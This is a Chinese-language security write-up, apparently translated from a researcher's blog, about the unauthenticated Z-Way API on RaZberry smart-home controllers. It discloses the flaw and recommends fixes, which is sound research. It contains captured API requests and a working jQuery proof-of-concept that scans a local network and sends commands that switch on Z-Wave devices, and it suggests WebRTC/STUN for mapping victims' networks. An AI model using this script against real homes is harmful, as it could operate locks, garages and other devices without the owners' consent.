Z-Wave是一种新兴的智能家居技术,里面使用了Z-Way通信协议,这种无线组网规格在欧美已经非常成熟。最近我购置了一块RaZberry板子,开始了我的家具智能化研究之旅。
我之所以选择RaZberry板子,而不是传统的Z-Wave控制器,主要是因为它拥有对树莓派的兼容特性,让我可以通过程式化访问Z-Wave协议和通用输入输出(GPIO)设备,这对于研究我家里面的报警传感器非常有帮助。顺便提一句,Z-Way会提取Z-Wave的特性来设计REST(Representational State Transfer)API,使得该API更加易用。Z-Way项目甚至拥有基础的web界面,包括网关管理界面。
在给RaZberry板子安装软件,并连上部分设备后,我开始观察管理设备时产生的web请求包。Z-Way使用了Angular的JS框架开发了一个API,可以应对来自web和 安卓app 的访问。
POST http://192.168.5.219:8083/ZWaveAPI/Run/devices[12].instances[0].commandClasses[37].Set(255) HTTP/1.1 Host: 192.168.5.219:8083 Connection: keep-alive Content-Length: 0 Accept: application/json, text/plain, */* Origin: http://192.168.5.219:8083 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Referer: http://192.168.5.219:8083/expert/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8
下面是响应包:
HTTP/1.1 200 OK Content-Type: application/json Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Content-Length: 4 null
但此时,我发现了一个严重的问题,Angular的API并不需要认证。我在官网找了找,发现有用户提出了这么一个问题(FAQ):
问:HTTP/JSON的API有经过HTTP认证麽? 答:当然没有,你的内网被厂商假定为绝对安全的,自身有着第三方防火墙和密码的保护,不会有外界侵入。如果你想要用密码保护Z-Way,你可以使用ngnix或者其他反向代理服务器做额外的设置。
看来厂商早发现了这个问题,但并没有去亲自解决它。但这也说的过去,使用这些硬件的大多数都是技术极客,普通用户占少数。不过,鄙人仍然觉得这里面潜伏着危机,因为毕竟它给用户带来的是未知的恐惧。用户的局域网可能会比较安全,但这并不意味着来自远程攻击是不可能实现的。我开始思考从局域网外攻击API接口的方法。突然,我想起了上面的应答包。注意, Z-Way的web服务器默认的CORS(跨域资源共享)头部允许任何origin来源,它会响应一个Access-Control-Allow-Origin: *,即允许所有origin来源,这显而易见将导致跨域攻击。
下面的POC将向你展示,黑客如何用恶意JS代码扫描内网主机,从而实现对Z-Wave的操作。由于这些请求是异步的,受害者并不能意识到正在发生着什么。
jQuery(document).ready(function() { for(var i=1; i<=254; i++) { var host = "192.168.5." + i; var url = "http://" + host + ":8083/ZWaveAPI/Run/devices[99].instances[0].commandClasses[37].Set(255)"; $.ajax({ type: "POST", url: url, host: host }) .always(function(r) { if(r.status != 0) { var valid_host = this.host; // Server found, enumerate devices for(var y=0; y<=15; y++) { $.post("http://" + valid_host + ":8083/ZWaveAPI/Run/devices[" + y + "].instances[0].commandClasses[37].Set(255)"); } } }); } });
首先,脚本循环尝试局域网主机,向API发送POST请求。接着,它会找出返回状态码不为0的主机,确定其存活。如果受害者的控制器设备号小于99,脚本会遍历设备ID号,上限为15,尝试打开灯。这种漏洞的影响,更多地体现在解开门锁、开启车库、以及处理其他敏感设备上。
攻击者可以尝试探测更多的默认内网网段,如果受害人的浏览器支持WebRTC,攻击者可以得到更多的信息。在这种情况里,我们可以发出 STUN请求 ,确定受害人的内网IP,从而估算内网范围。
厂商要通过认证加强Razberry的安全 不太容易 ,但用户通过其他设置做到这一点可能并不算难。此外厂商可以做出的另一个改进,则是在CORS策略中需要指定允许的origin,而非来者不拒。Z-Way请求包的这个漏洞很有意思,它揭示了自由CORS实现的风险,并展示了如何攻击他们。
*来源 randywestergren ,FreeBuf小编dawner翻译整理,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)